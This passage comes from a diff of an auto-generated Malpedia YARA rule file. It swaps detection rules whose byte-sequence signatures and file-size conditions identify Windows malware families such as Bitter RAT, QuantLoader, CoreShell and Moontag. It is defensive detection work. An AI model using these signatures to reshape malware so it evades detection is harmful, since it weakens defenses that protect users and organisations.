6840000100 89b5c0feffff e8???????? 83c404 } - $sequence_4 = { 5d c3 56 57 6a01 50 e8???????? } - $sequence_5 = { 33cd e8???????? 8be5 5d c3 8b85e8fcffff 6840771b00 } - $sequence_6 = { 68???????? ffd7 8d55e8 52 e8???????? 83c404 8bd8 } - $sequence_7 = { 8b5d0c 8995bcf9ffff 8b5518 899da8f9ffff 8995b8f9ffff 7d11 33c0 } - $sequence_8 = { 8b85bcfeffff 50 33f6 ff15???????? e9???????? 3d00000100 0f8f2bffffff } - $sequence_9 = { 8d85c4fdffff 50 68???????? 68???????? 68???????? ffd6 bf???????? } + $sequence_0 = { 8bd8 8985d0f0ffff 85db 0f8482000000 6a3c 8d8554f0ffff 6a00 } + $sequence_1 = { 3dff000000 0f87c3020000 f685a8f7ffff10 0f844f010000 8b751c 3bf3 0f8444010000 } + $sequence_2 = { 83c40c 6803010000 8d8c2444030000 51 c744241400000000 ff15???????? 8b3d???????? } + $sequence_3 = { 75f9 2bc1 7511 33c0 5e 8b4dfc 33cd } + $sequence_4 = { b9???????? 8bf0 e8???????? 50 8d9435f4feffff 68???????? 52 } + $sequence_5 = { 8d8d64f2ffff e8???????? 687f0c0000 8d856df2ffff } + $sequence_6 = { 50 8d95f8feffff 52 e8???????? 83c408 85c0 } + $sequence_7 = { 8bc6 c1f805 8d0c8560aa0310 8bc6 83e01f c1e006 8b11 } + $sequence_8 = { 41b800040000 c684246002000000 e8???????? 488d8c2470060000 4c8bcf ba01000000 41b800040000 } + $sequence_9 = { 48894c2450 498bf0 0fb6fa 488d8da1000000 33d2 41b80b030000 } + $sequence_10 = { 48c7c102000080 4889442420 ff15???????? 85c0 0f8513010000 488d0d761d0200 c744244004000000 } + $sequence_11 = { 488985400f0000 4c8bb5c00f0000 48894c2450 4d8be0 4c89442448 488bf2 488d8d31060000 } + $sequence_12 = { 41f7e8 c1fa05 4c8d0520440200 8bc2 c1e81f 03d0 } + $sequence_13 = { 488bd0 ff15???????? 488d0d6b080200 488905???????? e8???????? 488bcb } + $sequence_14 = { 53 55 56 4154 4155 4883ec50 448bca } + $sequence_15 = { 450fb6c0 4489542430 89542428 894c2420 488d1599d50100 488d8c2490000000 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 524288 } -rule MALPEDIA_Win_Cohhoc_Auto : FILE +rule MALPEDIA_Win_Chiser_Client_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eea8dd21-8908-5be8-a2a6-255fd0ffd6ca" + id = "c99b11d6-95f8-5089-bb79-3dcbcddf715f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cohhoc_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chiser_client_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "722fe87316c37305b3652db78bba219c2fd88a714a6565f0318a82058c8a1b30" + logic_hash = "a4f562ea6b25a50fa272453bc9361d6900c9cafcbad3f751e3aa04995d53620d" score = 75 quality = 75 tags = "FILE" @@ -116919,32 +116902,32 @@ rule MALPEDIA_Win_Cohhoc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b9c242c3c0000 66ab aa b9000f0000 33c0 8d7c2420 c745008d000000 } - $sequence_1 = { 57 33c0 bf???????? 83c9ff f2ae } - $sequence_2 = { 50 68???????? 68???????? c74424200c000000 895c2424 c744242801000000 ffd6 } - $sequence_3 = { 8d7c244c 83c9ff 33c0 83c420 f2ae } - $sequence_4 = { 8b4c2420 8b542424 8b6c2428 8b5c242c 6a08 } - $sequence_5 = { be???????? 8d7c2410 33ed f3a5 8b4c245c } - $sequence_6 = { 8d442410 53 50 68???????? 68???????? c74424200c000000 } - $sequence_7 = { 894c2410 89442414 0f85f5feffff b801000000 5f 895d08 } - $sequence_8 = { 8944242c 0f85b5feffff 8bce e8???????? 668b5702 50 } - $sequence_9 = { 8b0d???????? 891d???????? 51 c705????????02000000 e8???????? 83c420 } + $sequence_0 = { 48890a 48894a08 488d4808 e8???????? 488d05a9e30200 488903 488bc3 } + $sequence_1 = { 480f40c1 488bc8 e8???????? 488bc8 49890424 } + $sequence_2 = { 0f1f440000 418d40fc 460fb61408 418d40fd 460fb61c08 } + $sequence_3 = { c744245865007800 c744245c2e006800 c744246074006d00 c74424646c000000 4c89742430 bf01000000 897c2428 } + $sequence_4 = { 498b0e 4c8d4110 488d5108 e8???????? 90 488bcb e8???????? } + $sequence_5 = { 41b904000000 0f1f440000 b904000000 6666660f1f840000000000 410fb60414 } + $sequence_6 = { 488bc5 0f1f00 48ffc0 66833c4100 75f6 83c008 4863f8 } + $sequence_7 = { 48636908 488bf1 4c8b7118 b802000000 } + $sequence_8 = { 48894320 488d1511f5ffff e8???????? eb09 488bcb ff15???????? 408ac5 } + $sequence_9 = { 81ca00000780 85c0 0f4ed0 e8???????? 488d1584aa0100 488d4c2440 } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 714752 } -rule MALPEDIA_Win_Bitter_Rat_Auto : FILE +rule MALPEDIA_Win_Sys10_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b191a00c-6fde-5571-a34e-d2213ef4e8fa" + id = "f6b87c71-e5a8-51b9-bf42-5ce35b9897c0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitter_rat_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sys10_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "a43bde583e40f1f224309d84df87c4be4d19f266b740acdb3a4dfc9719f341d8" + logic_hash = "34aa3f50a631ab8b6462b3454dab9cbf3c83a5ccbafc56348e488e070debe8a8" score = 75 quality = 75 tags = "FILE" @@ -116958,32 +116941,32 @@ rule MALPEDIA_Win_Bitter_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 42 00542f42 00cf 2f } - $sequence_1 = { 68d4070000 e8???????? 83c414 a1???????? } - $sequence_2 = { 6a02 6a04 8d85d4fdffff 50 ff15???????? } - $sequence_3 = { 83e11f c1e106 8b048500124700 c644080401 57 } - $sequence_4 = { 51 8b954cd9ffff 8d84157cdcffff 50 e8???????? 83c40c 8b854cd9ffff } - $sequence_5 = { f3ab c745f8???????? b80a000000 668945ec b802000000 668945e0 0fbf45ec } - $sequence_6 = { 03048d00124700 eb02 8bc2 f6402480 0f8567ffffff 33c0 } - $sequence_7 = { 03c7 03cf 83ff1f 0f87da030000 ff24bda8864200 8bc6 e9???????? } - $sequence_8 = { 8bf4 8d8568feffff 50 6a02 ff15???????? 3bf4 } - $sequence_9 = { 8d8d68faffff 51 e8???????? 83c408 8bf4 8d85acfeffff } + $sequence_0 = { 50 ffd7 8b4b08 51 } + $sequence_1 = { 7511 6810270000 ff15???????? 33c0 } + $sequence_2 = { ffd3 6a00 6a00 6a00 6a00 8bf8 } + $sequence_3 = { 7407 53 ff15???????? 8b06 50 } + $sequence_4 = { 53 52 e8???????? 83c42c 85c0 } + $sequence_5 = { ffd7 8b4304 50 ffd7 8b4b08 51 } + $sequence_6 = { 52 ffd7 8b4308 50 } + $sequence_7 = { 57 8d542438 53 52 e8???????? } + $sequence_8 = { 6a00 897c2434 894c242c 89742438 } + $sequence_9 = { 52 6a05 50 ffd6 8b5308 } condition: - 7 of them and filesize < 1130496 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Holerun_Auto : FILE +rule MALPEDIA_Win_Quantloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "79210bcf-218e-5107-a109-edeb02cfeccf" + id = "a6fbe65e-ef8a-5bc4-b8a9-95dfb59d427c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.holerun_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quantloader_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "089e5eef0cb363abe6346868d7bc24f6b1004eaa9f42643e6a6b76322b0e9b60" + logic_hash = "bf8a50a2e031ac2dab43be4a697ae58f19b78ab51aef8ac12657d4c13c8a8701" score = 75 quality = 75 tags = "FILE" @@ -116997,34 +116980,40 @@ rule MALPEDIA_Win_Holerun_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d45c0 4989c9 4989d0 ba00040000 4889c1 e8???????? 488b85f0030000 } - $sequence_1 = { 488b85e0020000 488b4008 ba20000000 4889c1 e8???????? 488985c0020000 4883bdc002000000 } - $sequence_2 = { 750a b8ffffffff e9???????? 488b4510 488b00 8b00 3d910000c0 } - $sequence_3 = { 48837df000 751b 488b4510 488b00 488d1502380000 } - $sequence_4 = { ba20000000 4889c1 e8???????? 488945f0 48837df000 0f84dd000000 488345f001 } - $sequence_5 = { eb31 488b05???????? ffd0 89c1 488b85e0020000 } - $sequence_6 = { 488345f808 488d050f8a0000 483945f8 75d1 b801000000 4883c430 5d } - $sequence_7 = { 48c1e002 4889c2 488d0549650000 890c02 } - $sequence_8 = { 488985a0000000 c785cc02000000000000 e9???????? 8b85cc020000 4898 488b84c590000000 } - $sequence_9 = { 750c b91f000000 e8???????? eb39 488b05???????? 8b00 85c0 } + $sequence_0 = { 8945f8 837df800 7405 8b45f8 ffd0 c9 c3 } + $sequence_1 = { e8???????? c744240800000000 c7442404???????? 8b4508 890424 e8???????? 85c0 } + $sequence_2 = { 8b45f8 40 8945f0 eb13 } + $sequence_3 = { c785d4f7ffff00000000 e9???????? c744241400000000 c744241000000084 c744240c00000000 c744240800000000 8b4508 } + $sequence_4 = { c70424???????? e8???????? 83ec08 8b450c } + $sequence_5 = { 837df400 750f c785d4f7ffff00000000 e9???????? } + $sequence_6 = { c70424???????? e8???????? 85c0 0f8eaa000000 } + $sequence_7 = { e8???????? 89442404 c70424???????? e8???????? c7442408???????? c7442404???????? c7042402000080 } + $sequence_8 = { 33c0 66ad 66a90030 7408 } + $sequence_9 = { c3 8b7d74 6a04 6800100000 57 6a00 ff5510 } + $sequence_10 = { 60 8bf3 03763c 8bb680000000 85f6 } + $sequence_11 = { c7457c00000000 81c243e15762 8b4d74 8bfe 837d6400 7403 017564 } + $sequence_12 = { 7410 b904000000 48 7408 b940000000 48 7400 } + $sequence_13 = { 8bf8 f3a4 e8???????? 48 } + $sequence_14 = { 51 50 54 6a04 51 57 ff550c } + $sequence_15 = { 33c0 39411c 74f7 ff711c 8f4550 e8???????? 8f411c } condition: - 7 of them and filesize < 156672 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Tinyfluff_Auto : FILE +rule MALPEDIA_Win_Coreshell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "261677c7-52da-544b-abba-e2c9762083b2" + id = "68c75bba-5c1e-5e9d-b9a1-c2a54cb41bad" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyfluff" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyfluff_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coreshell_auto.yar#L1-L414" license_url = "N/A" - logic_hash = "305926cc2d71188dd193eb77d1fd5b2696d785cc7114678a3a44727f806b5473" + logic_hash = "964533465ea71e27159b30ec40d2ad04ff56c4993e1303c6d09339c487e78d9b" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -117036,32 +117025,69 @@ rule MALPEDIA_Win_Tinyfluff_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 50 51 ffb5dcfbffff 8d8d74fbffff e8???????? 8d8590fbffff } - $sequence_1 = { 85c0 7418 8b858cfbffff 85c0 7407 50 } - $sequence_2 = { 8b0c8550704100 8a043b 03ce 8b75dc } - $sequence_3 = { eb6f 8b07 8d1c85446d4100 8b33 85f6 } - $sequence_4 = { e8???????? be01000000 8b95d8fbffff 83fa08 7235 } - $sequence_5 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 8d4dff 8b4508 } - $sequence_6 = { c7404860604100 8b4508 6689486c 8b4508 66898872010000 } - $sequence_7 = { 33c0 c744246000000000 c744246407000000 6689442450 } - $sequence_8 = { 8d85a8fbffff 6a01 0f4385a8fbffff 68???????? } - $sequence_9 = { c1fa06 8934b8 8bc7 83e03f 6bc838 8b049550704100 8b440818 } + $sequence_0 = { 56 ff15???????? 83c40c 3bc6 } + $sequence_1 = { 6810270000 ff15???????? be06000000 e8???????? 85c0 7401 4e } + $sequence_2 = { 68???????? 52 ffd7 ffd0 } + $sequence_3 = { 6a00 ff15???????? 8bf0 ff15???????? 50 68???????? 68???????? } + $sequence_4 = { 8d041e 50 57 6a08 51 ff15???????? 8bf8 } + $sequence_5 = { 6804010000 6a08 8b15???????? 52 ff15???????? } + $sequence_6 = { 8b0d???????? 8b15???????? 6a01 51 68???????? 52 } + $sequence_7 = { c20400 50 a1???????? 6a00 50 } + $sequence_8 = { e8???????? 85c0 7402 eb14 c745f000000000 68e0930400 ff15???????? } + $sequence_9 = { 8d4c2400 56 51 6a00 } + $sequence_10 = { 50 a3???????? ffd6 a3???????? } + $sequence_11 = { 8bf1 8b4604 85c0 7407 50 ff15???????? 8b36 } + $sequence_12 = { ff15???????? ffd0 85c0 7508 } + $sequence_13 = { 8b0d???????? 52 50 57 68???????? } + $sequence_14 = { 68???????? 6800080000 8d85fcefffff 50 } + $sequence_15 = { 68???????? 50 ffd6 6a00 6a00 6a00 } + $sequence_16 = { 8d442404 6a00 8bf1 50 c744240c00000000 ff15???????? } + $sequence_17 = { 52 ff15???????? 8b0d???????? 8bf0 8b5c241c 8d041e } + $sequence_18 = { 50 68???????? 68???????? 8985f0fdffff 8d85f4fdffff 6804010000 50 } + $sequence_19 = { 03cf 880431 fec3 ebe6 } + $sequence_20 = { 52 e8???????? 83c408 33c0 8b4df0 64890d00000000 } + $sequence_21 = { 81e1ffff0000 81e1ffff0000 81e1ff000000 81e1ff000000 } + $sequence_22 = { 5d 83c8ff 5b c20c00 03f7 } + $sequence_23 = { 8b8dd8edffff 51 8d95f4edffff 52 } + $sequence_24 = { 81e2ffff0000 81e2ffff0000 c1ea08 81e2ff000000 } + $sequence_25 = { e8???????? 8be8 8b442410 50 e8???????? } + $sequence_26 = { 6888130000 ff15???????? c745f000000000 c745f400000000 } + $sequence_27 = { 25ffff0000 0fb7c8 c1e908 81e1ff000000 0fb6d1 52 } + $sequence_28 = { ff15???????? 83c414 8d95f4fdffff 52 ff15???????? } + $sequence_29 = { 56 51 56 6a01 } + $sequence_30 = { ff15???????? ba00080000 2bd0 52 8d85fcefffff } + $sequence_31 = { a1???????? 50 68???????? 8b0d???????? 51 ff15???????? ffd0 } + $sequence_32 = { 0305???????? 50 ff15???????? a1???????? } + $sequence_33 = { ffd6 ffd0 68???????? a3???????? } + $sequence_34 = { 68???????? 51 ffd3 ffd0 } + $sequence_35 = { 5f 5b 5d c3 b81c000000 e8???????? 89e0 } + $sequence_36 = { 29d6 0faff0 31d2 f7f6 } + $sequence_37 = { 5f 5d c3 89e0 c70010270000 } + $sequence_38 = { 68???????? 53 a3???????? ffd6 68???????? a3???????? ffd7 } + $sequence_39 = { 29d6 01f0 a3???????? e9???????? } + $sequence_40 = { 690006000000 0306 8b4dcc 8b09 } + $sequence_41 = { a3???????? ffd7 8bd8 68???????? } + $sequence_42 = { bf04010000 57 6a08 ff35???????? ff15???????? } + $sequence_43 = { 6689fb 0fb7fb c1ef08 81e7ff000000 } + $sequence_44 = { 8908 8b00 8b5004 8b35???????? } + $sequence_45 = { 56 57 8b3d???????? 68???????? ffd7 8b35???????? 68???????? } + $sequence_46 = { 8908 8b15???????? 89d6 81c609000000 } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 303100 } -rule MALPEDIA_Win_Downeks_Auto : FILE +rule MALPEDIA_Win_Pseudo_Manuscrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c1af7457-a967-5afd-afe7-3e5e1a0a9026" + id = "e6b5074a-ee80-5f17-8d10-821d108c299b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.downeks_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pseudo_manuscrypt_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "2a5314b1c911549ae340f3f5ef76252cb23ca35ba95d30c0718999dad54c01d3" + logic_hash = "c6f7c325b24974deecc4b35c3043dbcf14d37411aa98d6d4fbada988adbed753" score = 75 quality = 75 tags = "FILE" @@ -117075,32 +117101,32 @@ rule MALPEDIA_Win_Downeks_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 817d08c8000000 53 56 8bf0 8b9e38040000 57 } - $sequence_1 = { c3 b8042c0804 5d c3 b8ec250804 5d c3 } - $sequence_2 = { c20c00 8bc1 ddd8 894dd8 81e1ffffff7f 8955cc 894dd0 } - $sequence_3 = { 8b7d08 8bc7 c1f805 8bf7 83e61f c1e606 033485e0ffb405 } - $sequence_4 = { 8bbd48ffffff 039d68ffffff c1ef03 33f7 03f3 03b544ffffff 897584 } - $sequence_5 = { b820000000 8bce e8???????? 33c0 5f 5e 5b } - $sequence_6 = { 8d5df0 8b5508 893a 393b 0f8598000000 56 e8???????? } - $sequence_7 = { c746140f000000 c7461000000000 6839ac0804 8bce c60600 e8???????? eb7a } - $sequence_8 = { c78550ffffff01000000 89b7a0040000 394d98 7c12 7f08 8b5594 3b558c } - $sequence_9 = { 6a3f 85c0 7403 40 eb09 8b55e8 8b8298000000 } + $sequence_0 = { 8b45ec 8d044502000000 a3???????? 8b4dfc 33cd e8???????? 8be5 } + $sequence_1 = { 8b8594feffff 8d8df0feffff 8b9ddcfeffff 8bbdd8feffff 99 03c3 898de4feffff } + $sequence_2 = { 8bf8 ff15???????? 5e 8bc7 5f 5b 8be5 } + $sequence_3 = { 50 e8???????? 83c404 c70700000000 8b07 c7470800000000 } + $sequence_4 = { eb6b 8d45a0 50 8d4d8c e8???????? 8b4dc0 85c9 } + $sequence_5 = { 8bec 83ec14 57 8d45ec c745ec14000000 50 8bf9 } + $sequence_6 = { 7407 b801000000 5e c3 8b86c0000000 85c0 7411 } + $sequence_7 = { 390d???????? 0f94c0 c3 a1???????? c3 8bff 55 } + $sequence_8 = { ff15???????? 83c40c 8d8d1cf7ffff 51 6802000080 ff15???????? 5f } + $sequence_9 = { 56 57 8bf9 b9???????? e8???????? 8d45ac 50 } condition: - 7 of them and filesize < 1318912 + 7 of them and filesize < 753664 } -rule MALPEDIA_Win_Http_Troy_Auto : FILE +rule MALPEDIA_Win_Moontag_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "95fd4364-0c49-5029-9362-b053f1981ad0" + id = "cd77d4b0-0d98-5f5e-a57c-397ee34a65ee" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.http_troy_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moontag" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moontag_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "f51f643b968f327406be07b32339103de989865626147227f095521c9d0409e5" + logic_hash = "8b060f50d5b5253ee18a9ffafa5845b2d3ee94dd99bd63bfd885c3444be1c8ca" score = 75 quality = 75 tags = "FILE" @@ -117114,32 +117140,38 @@ rule MALPEDIA_Win_Http_Troy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c9 894c241d 8d443bfb 3be8 66894c2421 8bf5 c644241c00 } - $sequence_1 = { 895e70 899e90000000 895e74 750a 5e b800000100 } - $sequence_2 = { 8d442414 50 8d4c241c 51 6a00 6a00 6a00 } - $sequence_3 = { 33f1 33f0 03f3 8dbc37a9cfde4b 8bf7 c1e70b 8b5c2430 } - $sequence_4 = { e8???????? 83c418 ff7508 e8???????? 83c404 833d????????00 752c } - $sequence_5 = { 0bd3 4f 8956fc 75da } - $sequence_6 = { e8???????? 59 83e6fb e9???????? 84c3 0f84d8000000 f6451008 } - $sequence_7 = { 6802000080 c744242800000000 ff15???????? 8b542418 8d442408 } - $sequence_8 = { 8d8c2478010000 51 ffd6 b801000000 8b8c2414110000 e8???????? 5f } - $sequence_9 = { 6a00 68???????? e8???????? 8b54241c 83c404 50 52 } + $sequence_0 = { 4833c4 4889842430040000 488bd9 498d7b10 e8???????? 48897c2428 } + $sequence_1 = { 4885d2 480f4415???????? 483b15???????? 480f4405???????? 488905???????? c3 4885c9 } + $sequence_2 = { 4881ec60010000 488b05???????? 4833c4 48894550 488d4c2440 } + $sequence_3 = { 4d8be6 482bea 4d2be7 4d3bf7 7343 } + $sequence_4 = { 48c74424680f000000 c644245000 483bd9 0f82c0010000 482bd9 49c7c0ffffffff 493bd8 } + $sequence_5 = { 4883c420 5f c3 488bca e8???????? 488bf8 4885c0 } + $sequence_6 = { 488b36 4885f6 758a e9???????? 48837e3800 } + $sequence_7 = { c3 48833a00 7508 488b4208 49894008 } + $sequence_8 = { 03c1 68???????? 50 ffd3 83c40c 85c0 } + $sequence_9 = { 033d???????? 837d8400 0f4e3d???????? 83c734 } + $sequence_10 = { 03c1 3bf8 0f42f8 33c9 8bc7 83c001 56 } + $sequence_11 = { 014e08 b801000000 5f 5e 5b 8b4c2458 } + $sequence_12 = { 03c1 50 898570ecffff 8d8574ecffff } + $sequence_13 = { 03c2 3bf8 0f838f010000 8b0d???????? } + $sequence_14 = { 03c1 8b0d???????? a3???????? 3bc1 } + $sequence_15 = { 03421c 03c6 3bc8 760c } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 203776 } -rule MALPEDIA_Win_Unidentified_080_Auto : FILE +rule MALPEDIA_Win_No_Justice_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "167c06b1-3a4c-5ce4-bead-27b24b52c04c" + id = "5b7b9773-a26f-59ba-b88a-0b2ca96e9a3c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_080_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.no_justice" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.no_justice_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "1ce14bfb96c0d551ff9abc4441491b6d6b29b9deb460d6ae62dbbcd58745f42a" + logic_hash = "8d1e9903aebd9a1a139d570c6e8c7d10c9b765f1e0f83bd5a67cde88d712e8e8" score = 75 quality = 75 tags = "FILE" @@ -117153,34 +117185,34 @@ rule MALPEDIA_Win_Unidentified_080_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85f6 7431 8d460d 50 e8???????? 83c404 85c0 } - $sequence_1 = { ff15???????? 68e8030000 ff15???????? 8b85e0fdffff 40 8985e0fdffff 83f80a } - $sequence_2 = { 8b5004 8bce c745ec88310210 ffd2 33c0 } - $sequence_3 = { 899d8cfdffff 898504fdffff 899d88fdffff 899d90fdffff 899d94fdffff } - $sequence_4 = { 57 56 6a01 50 ff15???????? 85c0 } - $sequence_5 = { 741d 8b5508 8bf3 e8???????? 83c404 5f c7830050000000000000 } - $sequence_6 = { 767d 03c7 3b44243c 763f 8b44243c 0500400000 50 } - $sequence_7 = { 894c2414 8b4760 8b5f6c 8b742414 } - $sequence_8 = { 40 3bc7 72f6 eb2b 8d5001 8bcf 2bca } - $sequence_9 = { 8b5c2414 83c3f4 81fb???????? 7414 53 ff15???????? 85c0 } + $sequence_0 = { 7720 0fb680ac5c4000 ff2485985c4000 33c0 40 5d } + $sequence_1 = { 8a0a 884c382e 8b45bc 8b048570be4100 804c382d04 } + $sequence_2 = { 0f84e8000000 8b04952c6b4100 898588f8ffff 85c0 0f84ad000000 3bc3 0f84cb000000 } + $sequence_3 = { e8???????? c9 c3 c705????????08b14100 b001 } + $sequence_4 = { c1e002 50 8b85a8f8ffff 0fb70485946a4100 8d048590614100 50 8d8590faffff } + $sequence_5 = { 8b148d70be4100 0355b0 8a0c03 03d3 43 } + $sequence_6 = { c745e003000000 c745e4508e4100 e9???????? 83e80f } + $sequence_7 = { 57 e8???????? 59 59 e9???????? 8b049570be4100 f644082840 } + $sequence_8 = { f7d0 a801 74a5 8b55ec 33f6 8b049570be4100 } + $sequence_9 = { 0f8414020000 eb4f 0fb602 0fbe8860b74100 41 894db4 3bcf } condition: - 7 of them and filesize < 392192 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Dadjoke_Auto : FILE +rule MALPEDIA_Win_Bluelight_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ea7282f2-8a4c-5601-bbd1-b76f58e52bc1" + id = "6e926d75-3ab2-5756-a7ce-3e5a6c0d0aa0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadjoke_auto.yar#L1-L228" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluelight_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9c73a5622c3f32fd5cf8900e0843a3bbc9bcae66e0aa7ecc5e1cf55e72cc18b5" + logic_hash = "41a5ac3b75dc9289131b8472b69bdf4cdf3bf64ebeaeb2e76e9bbd4dca7df902" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -117192,45 +117224,32 @@ rule MALPEDIA_Win_Dadjoke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 57 6800081000 6a00 } - $sequence_1 = { 52 8b4508 0528020000 50 8b0d???????? } - $sequence_2 = { 83ec40 56 57 8d45e0 50 e8???????? } - $sequence_3 = { 8b45e8 50 e8???????? 83c404 898578ffffff } - $sequence_4 = { e8???????? 83c408 8945f8 8b4d08 8b5110 52 8b45f8 } - $sequence_5 = { 8845f4 8345d801 807df400 75ee 8b4dd8 } - $sequence_6 = { 8b4df4 8dbc0d2cffffff b910000000 8d75ac f3a5 8b55f4 83c240 } - $sequence_7 = { 83c414 8b4df4 64890d00000000 8be5 5d c20800 } - $sequence_8 = { 33c9 84c0 0f94c1 8bc1 c3 a1???????? } - $sequence_9 = { 5e c3 8bff 55 8bec 83ec10 33c0 } - $sequence_10 = { e8???????? c3 6a04 e8???????? 59 c3 6a0c } - $sequence_11 = { ff15???????? 85c0 7417 b920000000 } - $sequence_12 = { 5d c3 6a04 8d458c c7458c80330000 50 } - $sequence_13 = { 84c0 75ef b82f000000 8d55f4 } - $sequence_14 = { 6a07 6a00 ff15???????? 85c0 0f881f010000 } - $sequence_15 = { 83fe04 7ce7 8d45f4 c645f800 } - $sequence_16 = { 7508 807e015a 7502 ffd6 6800400000 } - $sequence_17 = { 8b1d???????? 51 e8???????? 8bf0 83c404 85f6 } - $sequence_18 = { 0f85b5000000 50 ff15???????? 8d85e4faffff 50 } - $sequence_19 = { d9c9 d9f1 833d????????00 0f85cc140000 } - $sequence_20 = { 6804010000 85c0 57 6a00 } - $sequence_21 = { 55 8bec 8b4d0c 85c9 7454 8b5508 8b4514 } - $sequence_22 = { 83e908 8d7608 660fd60f 8d7f08 8b048db47c7300 ffe0 } + $sequence_0 = { ff771c ff15???????? ff771c 8b7714 ff15???????? 5f 8bc6 } + $sequence_1 = { 884dc7 8955d0 81faa7000000 0f87a8410000 ff249526044300 